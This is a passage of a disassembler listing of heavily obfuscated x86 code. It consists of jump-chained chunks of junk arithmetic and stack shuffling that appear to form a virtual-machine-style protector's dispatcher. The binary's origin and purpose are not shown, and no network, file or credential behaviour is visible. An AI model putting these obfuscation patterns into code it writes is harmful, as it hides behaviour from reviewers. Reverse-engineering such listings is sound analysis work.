; END OF FUNCTION CHUNK	FOR sub_58EB23
; ---------------------------------------------------------------------------


loc_590981:				; CODE XREF: sdfs____:00597861j
		mov	eax, 163B2E1Dh
		jmp	loc_591D80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E146


loc_59098B:				; CODE XREF: sub_58E146-B3Bj
					; sdfs____:005902BEj
		mov	[esp+8+var_8], esp
		push	edi
		mov	edi, 4
		add	[esp+0Ch+var_8], edi
		pop	edi
		pop	[esp+8+var_8]
		push	eax
		mov	eax, 4
		add	[esp+8+var_4], eax
		pop	eax
		jmp	loc_58D188
; END OF FUNCTION CHUNK	FOR sub_58E146
; ---------------------------------------------------------------------------


loc_5909AC:				; CODE XREF: sdfs____:0058F11Ej
		add	edi, 532F53FFh
		pop	esi
		push	1228h
		mov	[esp], esi
		jmp	loc_591807
; ---------------------------------------------------------------------------


loc_5909C0:				; CODE XREF: sdfs____:00595B9Cj
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_58C191
; ---------------------------------------------------------------------------


loc_5909CB:				; CODE XREF: sdfs____:00593FCFj
		push	esp
		jmp	loc_597A42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_5909D1:				; CODE XREF: sub_594228-2BFFj
		push	[esp+6+var_8+2]
		pop	eax
		jmp	loc_593666
; ---------------------------------------------------------------------------


loc_5909DA:				; CODE XREF: sub_594228+2074j
		add	edi, 8984A838h
		add	ebx, 5AEF3DD8h
		sub	ebx, 5EE97C3Dh
		sub	ebx, edi
		add	ebx, 5EE97C3Dh
		sub	ebx, 5AEF3DD8h
		jmp	loc_58D127
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_5909FF:				; CODE XREF: sub_5917C0+314Bj
		pop	[esp+8+var_8]
		pop	esp
		mov	[esp+0], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_590A13:				; CODE XREF: sub_591435-43F7j
		sub	ecx, 44B05316h
		add	ecx, 6B9C5908h
		add	ecx, 3BAC6FB4h
		add	ecx, edx
		jmp	loc_58F845
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_590A2C:				; CODE XREF: sdfs____:00593C87j
		add	ebp, 76CB6215h
		mov	esi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 2
		add	ebp, edx
		jmp	loc_5936E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59587A


loc_590A48:				; CODE XREF: sub_59587A+1j
		mov	ebp, 499B3341h
		jmp	loc_591475
; END OF FUNCTION CHUNK	FOR sub_59587A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_590A52:				; CODE XREF: sub_5962EB-6989j
		push	eax
		mov	eax, 0
		add	eax, ebx
		add	[eax], ecx
		jmp	loc_596692
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_590A61:				; CODE XREF: sub_591370-6B9j
		add	eax, 4
		xchg	eax, [esp-1Ch+arg_18]
		pop	esp
		xor	ebp, 72B83BACh
		sub	eax, ebp
		jmp	loc_58FCD3
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_590A75:				; CODE XREF: sdfs____:005964BFj
		push	3C82h
		mov	[esp], edx
		push	2494h
		mov	[esp], ebx
		mov	bl, 0A6h
		jmp	loc_58ED14
; ---------------------------------------------------------------------------


loc_590A8C:				; CODE XREF: sdfs____:00594000j
		sub	esi, 0B7BE3147h
		jmp	loc_596A00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_590A97:				; CODE XREF: sub_591435-5831j
		push	ecx
		jmp	loc_58CEE0
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_590A9D:				; CODE XREF: sdfs____:00591B60j
		mov	esi, 3894728Eh
		jmp	loc_58EAE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_590AA7:				; CODE XREF: sub_591435:loc_59853Aj
		add	dh, 1Bh
		mov	cl, dh
		jmp	loc_59073D
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_590AB1:				; CODE XREF: sdfs____:0058E3E1j
		dec	edx
		shr	edx, 1
		jmp	loc_58FA99
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp],	cl
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_590AC9:				; CODE XREF: sdfs____:00595BBCj
		add	esp, 4
		jmp	loc_58F32B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_590AD1:				; CODE XREF: sub_5917C0+4F45j
		mov	edx, [esp+6+var_8+2]
		jmp	loc_58FB45
; ---------------------------------------------------------------------------


loc_590AD9:				; CODE XREF: sub_5917C0+4CEBj
		push	464Fh
		jmp	loc_593FC2
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_590AE3:				; CODE XREF: sdfs____:0058EAF1j
		sub	ebx, 58AB6DACh
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_594F95
; ---------------------------------------------------------------------------


loc_590AF4:				; CODE XREF: sdfs____:005970D9j
		pop	eax
		xor	al, dh
		jmp	loc_58C8F8
; ---------------------------------------------------------------------------


loc_590AFC:				; CODE XREF: sdfs____:0058FE81j
		dec	ebx
		jmp	loc_597485
; ---------------------------------------------------------------------------


loc_590B02:				; CODE XREF: sdfs____:005969FBj
		pop	ecx
		inc	ecx
		xchg	ecx, edi
		push	ecx
		jmp	loc_58C0E2
; ---------------------------------------------------------------------------


loc_590B0C:				; CODE XREF: sdfs____:00591298j
		mov	edx, 4CA13D20h
		or	edx, 41E60BA0h
		jmp	loc_59603E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5985AE


loc_590B1C:				; CODE XREF: sub_5985AE-6A98j
		sub	[esp-10h+arg_C], 698942DFh
		mov	edx, [esp-10h+arg_C]
		add	esp, 4
		push	15A6h
		mov	[esp-10h+arg_C], ebx
		push	46E06A4Bh
		pop	ebx
		neg	ebx
		shl	ebx, 7
		inc	ebx
		xor	ebx, 0E643985Eh
		jmp	loc_596128
; END OF FUNCTION CHUNK	FOR sub_5985AE
; ---------------------------------------------------------------------------
		lodsd
		cmp	dword ptr [edi+20h], 0
		jz	loc_58F918
		push	eax
		mov	eax, 5A047DA5h
		push	ebp
		jmp	loc_59647B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5BB696


loc_590B62:				; CODE XREF: sub_5BB696-2FCD0j
		xor	al, bl
		push	eax
		mov	eax, esp
		push	ebx
		mov	ebx, 155B578Dh
		shr	ebx, 4
		xor	ebx, 50A96310h
		add	ebx, 0AE03299Ch
		jmp	loc_58FA27
; END OF FUNCTION CHUNK	FOR sub_5BB696
; ---------------------------------------------------------------------------


loc_590B81:				; CODE XREF: sdfs____:loc_58ECD4j
					; sdfs____:005929B4j
		mov	[esp], ebp
		jmp	loc_58D15D
; ---------------------------------------------------------------------------


loc_590B89:				; CODE XREF: sdfs____:00595EC3j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		or	[esp], al
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_590B9E:				; CODE XREF: sdfs____:0058E94Bj
		pop	esi
		add	eax, ecx
		pop	ecx
		sub	esp, 4
		jmp	loc_58C28C
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 4
		add	edi, 9936AC2h
		add	edi, ecx
		sub	edi, 9936AC2h
		pop	ecx
		push	1D2Ch
		mov	[esp], ebp
		push	esi
		push	100F6A6Ch
		jmp	loc_591A05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_590BD9:				; CODE XREF: sub_5917C0+47CDj
		mov	ecx, [esp+0Ah+var_C+2]
		jmp	loc_591F37
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5BB696


loc_590BE1:				; CODE XREF: sub_5BB696-29D49j
		mov	bl, 0ACh
		xor	cl, bl
		jmp	loc_594E0B
; END OF FUNCTION CHUNK	FOR sub_5BB696
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59576E


loc_590BEA:				; CODE XREF: sub_59576E-5647j
		sub	bx, 3EADh
		sub	bx, ax
		add	bx, 3EADh
		add	bx, 55FCh
		movzx	eax, ax
		push	ebp
		mov	ebp, esp
		jmp	loc_593832
; END OF FUNCTION CHUNK	FOR sub_59576E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_590C07:				; CODE XREF: sub_5917C0-2139j
					; sdfs____:0059511Ej
		push	ecx
		push	[esp+8+var_8]
		jmp	loc_58FF97
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_590C10:				; CODE XREF: sdfs____:00592E31j
		mov	dh, [esp]
		add	esp, 4
		sub	dh, 70h
		jmp	loc_5987CF
; ---------------------------------------------------------------------------


loc_590C1E:				; CODE XREF: sdfs____:loc_594ABCj
		sub	edx, 56738F2Dh
		and	eax, edx
		pop	edx
		jmp	loc_5924F4
; ---------------------------------------------------------------------------


loc_590C2C:				; CODE XREF: sdfs____:00592F76j
		neg	ebp
		shr	ebp, 4
		push	esi
		mov	esi, 36F111Ah
		sub	ebp, 69735A2Fh
		add	ebp, esi
		jmp	loc_5923BE
; ---------------------------------------------------------------------------


loc_590C44:				; CODE XREF: sdfs____:00596D2Fj
		and	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, 0CBFBBDFCh
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 2
		add	edi, edx
		pop	edx
		xchg	edi, [esp]
		mov	esp, [esp]
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_590C75:				; CODE XREF: sub_591435-501Aj
		and	ecx, ebp
		push	[esp+4+var_4]
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		add	esp, 4
		shr	ecx, 7
		push	ebx
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_58EFFE
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_590CA1:				; CODE XREF: sub_594228-74B6j
					; sub_5970DE+9j
		mov	dh, 98h
		jmp	loc_592C19
; ---------------------------------------------------------------------------


loc_590CA8:				; CODE XREF: sub_594228-1265j
		mov	edx, 0C60157DFh
		jmp	loc_590862
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_590CB2:				; CODE XREF: sub_591370+4CFEj
		add	eax, 4
		jmp	loc_590A61
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_590CBC:				; CODE XREF: sub_59841F-9C51j
		sub	al, 58h
		jmp	loc_59086E
; END OF FUNCTION CHUNK	FOR sub_59841F

; =============== S U B	R O U T	I N E =======================================



sub_590CC3	proc near		; CODE XREF: sub_58D9EF+Bj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058BBAD SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058BD13 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058E0A6 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0058E42A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005952F6 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00596083 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00596426 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00596503 SIZE 0000000A BYTES

		push	ebx
		mov	ebx, 4DFD4101h
		push	eax
		mov	eax, 6B030297h
		sub	eax, 1C74308Fh
		xor	eax, 192A9ABBh
		and	ebx, eax
		mov	eax, [esp+8+var_8]
		add	esp, 4
		not	ebx
		shr	ebx, 6
		xor	ebx, 6846539Bh
		jmp	loc_596503
sub_590CC3	endp

; ---------------------------------------------------------------------------


loc_590CF4:				; CODE XREF: sdfs____:0058BA48j
		sub	[esp], eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		add	esi, 6D88638Ah
		add	esi, ebp
		jmp	loc_59168F
; ---------------------------------------------------------------------------
		push	dword ptr [edi+3Ch]
		add	dword ptr [esp], 23E1305Dh
		pop	eax
		push	edx
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_590089
; ---------------------------------------------------------------------------


loc_590D33:				; CODE XREF: sdfs____:0058F088j
		dec	ebx
		jnz	loc_58FA1C
		sub	ebx, 56E55FF5h
		jmp	loc_58C43E
; ---------------------------------------------------------------------------
		add	eax, ebx
		pop	ebx


loc_590D48:				; CODE XREF: sdfs____:0059814Aj
		sub	eax, 2E867AF0h
		pop	esi
		add	eax, 2
		xchg	eax, [esp]
		jmp	loc_58F093
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59587A


loc_590D59:				; CODE XREF: sub_59587A-1ADCj
		jg	loc_5951BA
		add	edi, 24EF4273h
		jmp	loc_58F160
; END OF FUNCTION CHUNK	FOR sub_59587A
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	36EAh
		mov	[esp], eax
		push	esp
		pop	eax
		push	ebx
		push	ecx
		push	3E190AA6h
		pop	ecx
		not	ecx
		or	ecx, 43A304C6h
		and	ecx, 16DA3AFBh
		jg	loc_58BB9F
		add	ecx, 0FD3DCF29h
		mov	ebx, ecx
		pop	ecx
		pop	eax


loc_590D9E:				; CODE XREF: sdfs____:0058CBECj
		mov	[esp], ecx
		mov	ecx, 4
		push	ecx
		mov	ecx, 4F9E0E43h
		jmp	loc_58D6C3
; ---------------------------------------------------------------------------


loc_590DB1:				; CODE XREF: sdfs____:0058D550j
					; sdfs____:00593DE2j
		xor	[esp], ecx
		jmp	loc_593E10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_590DB9:				; CODE XREF: sub_5917C0-11E8j
		mov	[esp+0], esi
		push	ebp
		push	565E4C31h
		pop	ebp
		xchg	ebx, ebp
		not	ebx
		xor	ebp, ebx
		jmp	loc_597D8B
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_590DCE:				; CODE XREF: sdfs____:0058D855j
		mov	esi, 4E295C49h
		push	esi
		sub	dword ptr [esp], 23953FFBh
		pop	ebx
		add	ebx, 23953FFBh
		pop	esi
		jmp	loc_58F57A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593131


loc_590DE8:				; CODE XREF: sub_593131+EC4j
					; sub_591370+2F09j
		xor	ecx, eax
		push	3209h
		mov	[esp+4+var_4], ebx
		xor	[esp+4+var_4], 78C37C26h
		pop	eax
		push	5260h
		mov	[esp+4+var_4], edi
		push	esi
		push	41293C71h
		mov	esi, [esp+0Ch+var_C]
		jmp	sub_58FE99
; END OF FUNCTION CHUNK	FOR sub_593131
; ---------------------------------------------------------------------------


loc_590E10:				; CODE XREF: sdfs____:005988B2j
		pop	esi
		pop	edx
		push	2F5Ch
		jmp	loc_5925B0
; ---------------------------------------------------------------------------


loc_590E1C:				; CODE XREF: sdfs____:00590901j
		sub	ebx, ebp
		jmp	loc_58D418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BAD7


loc_590E23:				; CODE XREF: sub_58BAD7:loc_58D35Bj
		not	ecx
		xor	ecx, 0EF2F5231h
		push	ecx
		pop	ebp
		jmp	loc_598681
; END OF FUNCTION CHUNK	FOR sub_58BAD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59576E


loc_590E32:				; CODE XREF: sub_59576E-9076j
					; sub_5917C0+5685j
		push	6AAh
		mov	[esp+0], esi
		jmp	loc_590113
; END OF FUNCTION CHUNK	FOR sub_59576E
; ---------------------------------------------------------------------------


loc_590E3F:				; CODE XREF: sdfs____:0058C55Fj
		shr	edx, 8
		jz	loc_596073
		jmp	loc_594283
; ---------------------------------------------------------------------------


loc_590E4D:				; CODE XREF: sdfs____:0059495Fj
		xor	edx, [esp]
		jmp	loc_58F9AD
; ---------------------------------------------------------------------------


loc_590E55:				; CODE XREF: sdfs____:00596912j
		add	esp, 4
		push	483Ch
		mov	[esp], ebx
		push	edx
		mov	edx, 7C7F0960h
		mov	ebx, edx
		jmp	loc_594426
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59587A


loc_590E70:				; CODE XREF: sub_59587A-616Aj
		add	esp, 4
		jmp	loc_597CAD
; END OF FUNCTION CHUNK	FOR sub_59587A
; ---------------------------------------------------------------------------


loc_590E7B:				; CODE XREF: sdfs____:0058F309j
		push	eax
		jmp	loc_59456F
; ---------------------------------------------------------------------------


loc_590E81:				; CODE XREF: sdfs____:0058BF90j
		mov	ebp, esi
		jmp	loc_58DB0A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_590E88:				; CODE XREF: sub_5962EB-83FAj
		not	edx
		xchg	edx, [esp-10h+arg_C]
		pop	esi
		push	2961h
		mov	[esp-10h+arg_C], edi
		mov	edi, 1232632Fh
		add	edi, 65FA3D49h
		jmp	loc_590FD3
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	dword ptr [esp], cl
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_590EB5:				; CODE XREF: sub_594228-4F02j
		sub	ebx, edi
		pop	edi
		sub	ebx, edx
		add	ebx, 1168307Ch
		jmp	loc_5943B3
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C71E


loc_590EC5:				; CODE XREF: sub_58C71E+AB1Aj
		mov	ebx, 4
		mov	ebp, ebx
		pop	ebx
		add	eax, ebp
		pop	ebp
		push	ebx
		mov	ebx, 4
		sub	eax, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		jmp	loc_597F9C
; END OF FUNCTION CHUNK	FOR sub_58C71E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598A21


loc_590EE3:				; CODE XREF: sub_598A21-CD13j
		add	eax, edi
		jmp	loc_595862
; END OF FUNCTION CHUNK	FOR sub_598A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_590EEA:				; CODE XREF: sub_5962EB+28ABj
		sub	edi, 78E71D42h
		add	edx, edi
		pop	edi
		xchg	edx, [esp+0]
		mov	esp, [esp+0]
		push	ecx
		jmp	loc_58E5BF
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------


loc_590EFF:				; CODE XREF: sdfs____:0058E68Bj
		mov	ecx, 27F93CFFh
		neg	ecx
		or	ecx, 79496B6Eh
		neg	ecx
		shr	ecx, 4
		inc	ecx
		xor	ecx, 6B014Eh
		add	eax, ecx
		pop	ecx
		jmp	loc_59144E
; ---------------------------------------------------------------------------


loc_590F20:				; CODE XREF: sdfs____:0059336Fj
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 30C649B8h
		push	esi
		jmp	loc_594B13
; ---------------------------------------------------------------------------


loc_590F34:				; CODE XREF: sdfs____:005985CEj
		add	edi, edx
		pop	edx
		xchg	edi, [esp]
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_590F46:				; CODE XREF: sub_5917C0-59CEj
		add	edx, ecx
		mov	ecx, [esp+0]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_594E8E
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_590F59:				; CODE XREF: sub_59841F-7DE7j
		and	ebp, 330224BBh
		jnz	loc_58CC2D
		add	ebp, 2938531Ch
		sub	ebx, ebp
		jmp	loc_58BB2D
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------


loc_590F72:				; CODE XREF: sdfs____:0059250Cj
		add	al, bl
		jmp	loc_58D693
; ---------------------------------------------------------------------------


loc_590F79:				; CODE XREF: sdfs____:0059124Aj
		push	358Ah
		mov	[esp], edx
		push	ecx
		push	ebx
		mov	bh, 0EAh
		mov	ch, bh
		pop	ebx
		jmp	loc_595B30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_590F8D:				; CODE XREF: sub_5987BC-6DBCj
		and	eax, esi
		mov	esi, [esp-4+arg_0]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	edi
		mov	edi, 4
		add	eax, edi
		jmp	loc_58C42F
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------


loc_590FA7:				; CODE XREF: sdfs____:0058F7C9j
		add	ecx, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		push	ecx
		mov	ecx, 2
		mov	ebp, ecx
		pop	ecx
		jmp	loc_596197
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_590FD3:				; CODE XREF: sub_5962EB-544Aj
		xor	edi, 0CC75822h
		or	edi, 74AF5979h
		shr	edi, 2
		jmp	loc_5945D6
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_590FE7:				; CODE XREF: sub_591435-3C83j
					; sdfs____:00592BECj
		xor	ch, 2Ch
		push	ebx
		jmp	loc_593C0D
; ---------------------------------------------------------------------------


loc_590FF0:				; CODE XREF: sub_591435+6F51j
		mov	edi, [esp+4+var_4]
		add	esp, 4
		push	1A68h
		mov	[esp+4+var_4], ebp
		mov	ebp, 2ACF0F70h
		not	ebp
		inc	ebp
		or	ebp, 4F46129Fh
		jmp	loc_591C05
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596736


loc_591011:				; CODE XREF: sub_596736-170Fj
		xor	ebx, [esp+4+var_4]
		xor	[esp+4+var_4], ebx
		xor	ebx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		push	edx
		jmp	loc_5973B8
; END OF FUNCTION CHUNK	FOR sub_596736
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_591023:				; CODE XREF: sub_591435+52C1j
		push	ecx
		jmp	loc_58E37C
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BC4E


loc_591029:				; CODE XREF: sub_58BC4E+4759j
		or	edx, eax
		shl	edx, 1
		jmp	loc_593730
; END OF FUNCTION CHUNK	FOR sub_58BC4E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_591032:				; CODE XREF: sdfs____:0058E616j
					; sub_5962EB-3DA8j
		pop	[esp-10h+arg_C]
		mov	esp, [esp+0]
		add	eax, 6341147Ah
		shr	eax, 6
		neg	eax
		jmp	loc_598D5F
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------


loc_591047:				; CODE XREF: sdfs____:0058C95Ej
		or	[edi+1Ch], esi
		jmp	loc_598180
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_59104F:				; CODE XREF: sub_594228+2BC6j
		mov	ax, word ptr [esp+1Ah+var_1C+2]
		push	1F22h
		mov	[esp+1Eh+var_20+2], ebp
		jmp	loc_58BCBE
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_591060:				; CODE XREF: sdfs____:005946A8j
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		push	ebx
		jmp	loc_591E89
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		jmp	loc_58EA4A
; ---------------------------------------------------------------------------


loc_591076:				; CODE XREF: sdfs____:00595E01j
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_58BA3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_591081:				; CODE XREF: sub_594228+4A86j
		add	edi, 4
		xchg	edi, [esp+1Eh+var_20+2]
		mov	esp, [esp+1Eh+var_20+2]
		and	eax, esi
		pop	esi
		or	eax, eax
		jz	loc_58DF39
		push	eax
		mov	eax, 1CB34D12h
		dec	eax
		dec	eax
		not	eax
		neg	eax
		jmp	loc_596336
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_5910A9:				; CODE XREF: sub_591435+530j
		shr	dh, 5
		jp	loc_5911DD
		jmp	loc_5968BC
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_5910B7:				; CODE XREF: sdfs____:00596294j
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_58FAFD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_5910CE:				; CODE XREF: sub_5941BD-79C6j
		shl	ebx, 8
		shl	ebx, 4
		jmp	loc_592FB0
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------


loc_5910D9:				; CODE XREF: sdfs____:0058FCB7j
		sub	edi, 775606F8h
		sub	edi, 710707F5h
		jmp	loc_5915A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_5910EA:				; CODE XREF: sub_5987BC-9B14j
		mov	cl, bl
		jmp	loc_58DD57
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DB37


loc_5910F1:				; CODE XREF: sub_58DB37+37C4j
		add	ecx, 0DB6ED0F3h
		jmp	loc_58F862
; END OF FUNCTION CHUNK	FOR sub_58DB37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_5910FC:				; CODE XREF: sub_591370-2B98j
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		push	464Fh
		mov	[esp+8+var_8], edx
		push	ebx
		push	655D63D0h
		jmp	loc_58F9D9
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_591115:				; CODE XREF: sdfs____:00598B7Dj
		push	4F0Eh
		mov	[esp], ebp
		jmp	loc_59373D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_591122:				; CODE XREF: sub_594228-53F5j
		add	esp, 4
		xor	edi, 25732190h
		shr	edi, 4
		push	edi
		not	[esp+1Eh+var_20+2]
		jmp	loc_58E70C
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_591137:				; CODE XREF: sdfs____:0059835Ej
		pop	ebx
		jmp	loc_5922A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_59113D:				; CODE XREF: sub_591435-590Dj
		push	ecx
		mov	ecx, 42007A02h
		neg	ecx
		jmp	loc_58ED98
; ---------------------------------------------------------------------------


loc_59114A:				; CODE XREF: sdfs____:0059221Dj
					; sub_591435:loc_594CCCj
		pop	ebp
		add	ecx, esi
		pop	esi
		jmp	loc_5955FA
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_591153:				; CODE XREF: sdfs____:00595C74j
		push	edx
		jmp	loc_58E6CD
; ---------------------------------------------------------------------------


loc_591159:				; CODE XREF: sdfs____:005902D8j
		dec	esi
		shr	esi, 4
		js	loc_58EB38
		jmp	loc_592398
; ---------------------------------------------------------------------------


loc_591168:				; CODE XREF: sdfs____:00592090j
		xchg	ebx, [esp]
		jmp	loc_58D4E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_591170:				; CODE XREF: sdfs____:00592393j
					; sub_591435:loc_5987F3j
		sub	[esp+12h+var_14+2], ebp
		jmp	loc_58C8C0
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_591178:				; CODE XREF: sdfs____:00596B40j
		add	eax, 0E5E52D3h
		sub	eax, edi
		sub	eax, 0E5E52D3h
		pop	edi
		push	683Bh
		mov	[esp], edx
		jmp	loc_5929EC
; ---------------------------------------------------------------------------


loc_591192:				; CODE XREF: sdfs____:00590002j
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		push	198A24A3h
		pop	ebx
